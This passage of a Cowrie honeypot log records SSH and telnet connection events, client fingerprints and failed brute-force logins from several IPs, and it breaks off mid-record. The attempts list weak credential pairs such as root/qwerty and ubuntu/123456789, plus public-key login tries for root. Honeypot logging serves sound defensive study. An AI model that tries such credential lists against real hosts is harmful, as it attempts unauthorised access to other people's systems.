{"eventid":"cowrie.login.failed","username":"user","password":"git","message":"login attempt [user/git] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:07:08.668391Z","src_ip":"45.156.87.147","session":"6860843f45f7","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":33.51119661331177,"message":"Connection lost after 33 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:07:09.394637Z","src_ip":"103.249.87.183","session":"a99244be1deb","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:07:09.754064Z","src_ip":"45.156.87.147","session":"6860843f45f7","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"91.92.42.227","src_port":41876,"dst_ip":"10.17.0.5","dst_port":22,"session":"65a96e1e5c31","protocol":"ssh","message":"New connection: 91.92.42.227:41876 (10.17.0.5:22) [session: 65a96e1e5c31]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:07:12.185140Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:07:12.484530Z","src_ip":"91.92.42.227","session":"65a96e1e5c31","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:07:12.487444Z","src_ip":"91.92.42.227","session":"65a96e1e5c31","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.156.87.147","src_port":53030,"dst_ip":"10.17.0.5","dst_port":22,"session":"f21ef8f192d2","protocol":"ssh","message":"New connection: 45.156.87.147:53030 (10.17.0.5:22) [session: f21ef8f192d2]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:07:14.132215Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:07:14.136405Z","src_ip":"45.156.87.147","session":"f21ef8f192d2","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:07:14.218756Z","src_ip":"45.156.87.147","session":"f21ef8f192d2","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"user","password":"1111","message":"login attempt [user/1111] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:07:14.560372Z","src_ip":"91.92.42.227","session":"65a96e1e5c31","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"qwerty","message":"login attempt [root/qwerty] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:07:14.612818Z","src_ip":"45.156.87.147","session":"f21ef8f192d2","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:07:15.712593Z","src_ip":"45.156.87.147","session":"f21ef8f192d2","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"3.7","message":"Connection lost after 3.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:07:15.925949Z","src_ip":"91.92.42.227","session":"65a96e1e5c31","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"91.92.42.227","src_port":50096,"dst_ip":"10.17.0.5","dst_port":22,"session":"8834ee4ad321","protocol":"ssh","message":"New connection: 91.92.42.227:50096 (10.17.0.5:22) [session: 8834ee4ad321]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:07:19.898654Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:07:19.909570Z","src_ip":"91.92.42.227","session":"8834ee4ad321","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.156.87.147","src_port":58586,"dst_ip":"10.17.0.5","dst_port":22,"session":"d82ac67d4667","protocol":"ssh","message":"New connection: 45.156.87.147:58586 (10.17.0.5:22) [session: d82ac67d4667]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:07:19.998720Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:07:20.003502Z","src_ip":"45.156.87.147","session":"d82ac67d4667","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:07:20.012701Z","src_ip":"91.92.42.227","session":"8834ee4ad321","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:07:20.086853Z","src_ip":"45.156.87.147","session":"d82ac67d4667","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"azureuser","password":"12345","message":"login attempt [azureuser/12345] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:07:20.340939Z","src_ip":"91.92.42.227","session":"8834ee4ad321","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"ubuntu","password":"123456789","message":"login attempt [ubuntu/123456789] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:07:20.345654Z","src_ip":"45.156.87.147","session":"d82ac67d4667","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:07:21.431924Z","src_ip":"45.156.87.147","session":"d82ac67d4667","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:07:21.549861Z","src_ip":"91.92.42.227","session":"8834ee4ad321","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"179.61.232.244","src_port":59680,"dst_ip":"10.17.0.5","dst_port":22,"session":"bf0102267de3","protocol":"ssh","message":"New connection: 179.61.232.244:59680 (10.17.0.5:22) [session: bf0102267de3]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:07:23.594628Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh2_1.11.0","message":"Remote SSH version: SSH-2.0-libssh2_1.11.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:07:23.597146Z","src_ip":"179.61.232.244","session":"bf0102267de3","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"14b2ddda386a4d1006108ccd231b42fc","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group-exchange-sha256,diffie-hellman-group16-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,rijndael-cbc@lysator.liu.se,aes192-cbc,aes128-cbc,blowfish-cbc,arcfour128,arcfour,cast128-cbc,3des-cbc;hmac-sha2-256,hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-512-etm@openssh.com,hmac-sha1,hmac-sha1-etm@openssh.com,hmac-sha1-96,hmac-md5,hmac-md5-96,hmac-ripemd160,hmac-ripemd160@openssh.com;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group-exchange-sha256","diffie-hellman-group16-sha512","diffie-hellman-group18-sha512","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","ext-info-c"],"keyAlgs":["ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519","ssh-ed25519-cert-v01@openssh.com","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-rsa-cert-v01@openssh.com","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","rijndael-cbc@lysator.liu.se","aes192-cbc","aes128-cbc","blowfish-cbc","arcfour128","arcfour","cast128-cbc","3des-cbc"],"macCS":["hmac-sha2-256","hmac-sha2-256-etm@openssh.com","hmac-sha2-512","hmac-sha2-512-etm@openssh.com","hmac-sha1","hmac-sha1-etm@openssh.com","hmac-sha1-96","hmac-md5","hmac-md5-96","hmac-ripemd160","hmac-ripemd160@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 14b2ddda386a4d1006108ccd231b42fc","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:07:23.622989Z","src_ip":"179.61.232.244","session":"bf0102267de3","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"7f:ad:9b:0c:29:42:ca:95:a9:cc:3f:8d:6a:92:74:39","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDINn0RRB43UpajnzGQEn+V7S7SMjNmht7CqxmvwZ0DOW+vgA2H+mvYfVDW3ns/DMfDvXkdnzYFWqjLfSqiZh30wKTF9R/NiGfjSH5AT+8rR5lVkvzgpIVcVRNvKx4ebKzQRzK4dQY9fl2fwSTVODCabvOZjO4s2l3sioCLIkSAYVrludw0zrlYEuRb3Y19+YhRnLzAmRfcxr5ABwMM9www8ziT+jiP/43OPggXTMSmpWQTyIel8GE5nNfI2LgEyu24Yv32osyQQDWd7JugHTYfK1rs0MGLocWuT3CEBYaU6CHjWVCh1XIA8vfToLcR/PKAwUcTxGb8WkGUB6NSsU8n","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 7f:ad:9b:0c:29:42:ca:95:a9:cc:3f:8d:6a:92:74:39","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:07:23.740850Z","src_ip":"179.61.232.244","session":"bf0102267de3","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"7f:ad:9b:0c:29:42:ca:95:a9:cc:3f:8d:6a:92:74:39","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDINn0RRB43UpajnzGQEn+V7S7SMjNmht7CqxmvwZ0DOW+vgA2H+mvYfVDW3ns/DMfDvXkdnzYFWqjLfSqiZh30wKTF9R/NiGfjSH5AT+8rR5lVkvzgpIVcVRNvKx4ebKzQRzK4dQY9fl2fwSTVODCabvOZjO4s2l3sioCLIkSAYVrludw0zrlYEuRb3Y19+YhRnLzAmRfcxr5ABwMM9www8ziT+jiP/43OPggXTMSmpWQTyIel8GE5nNfI2LgEyu24Yv32osyQQDWd7JugHTYfK1rs0MGLocWuT3CEBYaU6CHjWVCh1XIA8vfToLcR/PKAwUcTxGb8WkGUB6NSsU8n","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:07:23.744472Z","src_ip":"179.61.232.244","session":"bf0102267de3","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"e8:a2:5c:28:f1:a1:2a:cd:a4:46:0d:ae:fe:d5:f3:b3","key":"ssh-rsa AAAAB3NzaC1yc2EAAAABIwAAAQEAyU2fWD2Pai470Z+tSquMjwwr7yq56EDHn6p+JV/Mb3XhAbc3pIWb23Fzlv5Aa6zFWxym4PM/U0+tOXG9Kp9h71g5QGFZ9PEh5wbcIrt9w6qLrYFDJBFHBCtuATgmn6xyzcmJWsBvBa53iZUCkJliVljFWetveU/qh/bYNNuuUvFtOLtZAPcqekvX0JW/Sw609IqkzoHmmPHHabpiWzCFwGuJhvge4bNI1BLdEQqgcraDBRHbJeHAIJWlZLg5ftxNEVXmrjBARxt8fBSHpn0DYh8zKSPUcT7/W2oxoHYXItqytup+aqiQvF6aV6g62D8jKV2NjicsoRSkzFZWfY1R9w==","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint e8:a2:5c:28:f1:a1:2a:cd:a4:46:0d:ae:fe:d5:f3:b3","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:07:23.773854Z","src_ip":"179.61.232.244","session":"bf0102267de3","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"e8:a2:5c:28:f1:a1:2a:cd:a4:46:0d:ae:fe:d5:f3:b3","key":"ssh-rsa AAAAB3NzaC1yc2EAAAABIwAAAQEAyU2fWD2Pai470Z+tSquMjwwr7yq56EDHn6p+JV/Mb3XhAbc3pIWb23Fzlv5Aa6zFWxym4PM/U0+tOXG9Kp9h71g5QGFZ9PEh5wbcIrt9w6qLrYFDJBFHBCtuATgmn6xyzcmJWsBvBa53iZUCkJliVljFWetveU/qh/bYNNuuUvFtOLtZAPcqekvX0JW/Sw609IqkzoHmmPHHabpiWzCFwGuJhvge4bNI1BLdEQqgcraDBRHbJeHAIJWlZLg5ftxNEVXmrjBARxt8fBSHpn0DYh8zKSPUcT7/W2oxoHYXItqytup+aqiQvF6aV6g62D8jKV2NjicsoRSkzFZWfY1R9w==","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:07:23.777089Z","src_ip":"179.61.232.244","session":"bf0102267de3","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"1b:3b:13:f2:6e:6d:64:2d:21:e0:f6:b0:5e:e6:68:7c","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAACAQCnbZFvjgVvLlG1Sdj1ZyYun/ln5CAeGA1BPrhhGmuxCBHfIaTFzejPkzgfkKGVAVm0yY9vfczB8rYSUL0FVxlpzkuRjozFLlK7/NEJE+VkHoBWhobwZiRTlhbP8HPcAqcgEf9YeoPzn9/x5o5tR6SjrQqNXmmPEsBBAGHqSXa5hrxhJbtMcDUg8WeJCqC6WqayTu/zU7oWOV1SuWMra0elknCXHDTj6J2dO5MHUuH2KBndtazfA+KylNZlPsmbjCniQn4PiOXT+Jeym2Gb5np3Wd08JmmRiOfP6TiwDZ7RUJ3Q6LGvIFGGdtLXbnJZH09yIsP0HhyxRvBjDB4qaWYXlHTMGk3Ner9OJSCKE8SCOlM0BWILidWnlwoMicz1zc2rR/DHKlPtozWdvuYql2JQn31W2ybFAVrc88DGEP44yCaGhP5oZYpnOdUamGFJb8b0utDw+QGpTvnLj5qxuoOqzIH+psIKoP5walJm4upkTgF9LVZk8t981H6cJBd1us9vAx3328O3yOjrF9vd4jyvFfJw7guy8o9K6zUBHrruF/pf8xnRw8NpUoYI4PTxsB8foKtxDOmCpVzLsfWM1i9yvOmljPKAEtEhEm4ZfieAtcwlV6RHQb9OKo2N7sAPeNuaU9gM4+AzdhBr9CnuOEYUj3fAtkpkNZ+Eb1f5caU98w==","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 1b:3b:13:f2:6e:6d:64:2d:21:e0:f6:b0:5e:e6:68:7c","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:07:23.807299Z","src_ip":"179.61.232.244","session":"bf0102267de3","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"1b:3b:13:f2:6e:6d:64:2d:21:e0:f6:b0:5e:e6:68:7c","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAACAQCnbZFvjgVvLlG1Sdj1ZyYun/ln5CAeGA1BPrhhGmuxCBHfIaTFzejPkzgfkKGVAVm0yY9vfczB8rYSUL0FVxlpzkuRjozFLlK7/NEJE+VkHoBWhobwZiRTlhbP8HPcAqcgEf9YeoPzn9/x5o5tR6SjrQqNXmmPEsBBAGHqSXa5hrxhJbtMcDUg8WeJCqC6WqayTu/zU7oWOV1SuWMra0elknCXHDTj6J2dO5MHUuH2KBndtazfA+KylNZlPsmbjCniQn4PiOXT+Jeym2Gb5np3Wd08JmmRiOfP6TiwDZ7RUJ3Q6LGvIFGGdtLXbnJZH09yIsP0HhyxRvBjDB4qaWYXlHTMGk3Ner9OJSCKE8SCOlM0BWILidWnlwoMicz1zc2rR/DHKlPtozWdvuYql2JQn31W2ybFAVrc88DGEP44yCaGhP5oZYpnOdUamGFJb8b0utDw+QGpTvnLj5qxuoOqzIH+psIKoP5walJm4upkTgF9LVZk8t981H6cJBd1us9vAx3328O3yOjrF9vd4jyvFfJw7guy8o9K6zUBHrruF/pf8xnRw8NpUoYI4PTxsB8foKtxDOmCpVzLsfWM1i9yvOmljPKAEtEhEm4ZfieAtcwlV6RHQb9OKo2N7sAPeNuaU9gM4+AzdhBr9CnuOEYUj3fAtkpkNZ+Eb1f5caU98w==","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:07:23.811679Z","src_ip":"179.61.232.244","session":"bf0102267de3","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"20:9d:ff:b0:db:dd:40:96:a9:0e:b3:3b:de:c6:9f:cc","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABgQDJblpoo0NzzHnEf5zxPsaG56qaMGzdHMHOHoq06JRRQMMgVUl8zt+uZIQwJHq560YigK7W1A8mo4T6daa/XI0l5RSPqR0ucKWLZ5HjpO9uWztVS9+gn6DztbGBkwAGXF4/v2SV7W3TZ6KrX5v5hp/xfNA/JIM2HvcX8gQaZVqiBJPL01+xQjLsYf3u3pgXoJ+hFe05VUwuHqsMxzH5oI+yX2fM/66XAGoPSj/Yl4v2egthIPlEWbqqurt6fDPDKT03mathyshbfd4lt+B183eiR0wMl5Qpa0NEnoilbAXC51aG+BDKlaJVAM3YM81vZJDNf1QYHi5GeznPdH9sDdEoHuqg0DPav+5dh9t4GbNDy0viSR40HWWtLQUiGEMc3roS+/4oUXQYPHCL0CdaLGDkOL8RMDT5st7ko/QOipV0yBj4U9m9hvkqvElF1kIW8gVcMr5obkm0DfePibzah4J0NpChWAk82xzSfZQXHFaR8rri2713Fts17zcW+rHUU30=","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 20:9d:ff:b0:db:dd:40:96:a9:0e:b3:3b:de:c6:9f:cc","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:07:23.841100Z","src_ip":"179.61.232.244","session":"bf0102267de3","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"20:9d:ff:b0:db:dd:40:96:a9:0e:b3:3b:de:c6:9f:cc","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABgQDJblpoo0NzzHnEf5zxPsaG56qaMGzdHMHOHoq06JRRQMMgVUl8zt+uZIQwJHq560YigK7W1A8mo4T6daa/XI0l5RSPqR0ucKWLZ5HjpO9uWztVS9+gn6DztbGBkwAGXF4/v2SV7W3TZ6KrX5v5hp/xfNA/JIM2HvcX8gQaZVqiBJPL01+xQjLsYf3u3pgXoJ+hFe05VUwuHqsMxzH5oI+yX2fM/66XAGoPSj/Yl4v2egthIPlEWbqqurt6fDPDKT03mathyshbfd4lt+B183eiR0wMl5Qpa0NEnoilbAXC51aG+BDKlaJVAM3YM81vZJDNf1QYHi5GeznPdH9sDdEoHuqg0DPav+5dh9t4GbNDy0viSR40HWWtLQUiGEMc3roS+/4oUXQYPHCL0CdaLGDkOL8RMDT5st7ko/QOipV0yBj4U9m9hvkqvElF1kIW8gVcMr5obkm0DfePibzah4J0NpChWAk82xzSfZQXHFaR8rri2713Fts17zcW+rHUU30=","type":"ssh-rsa","message":"public key login attempt for [root] 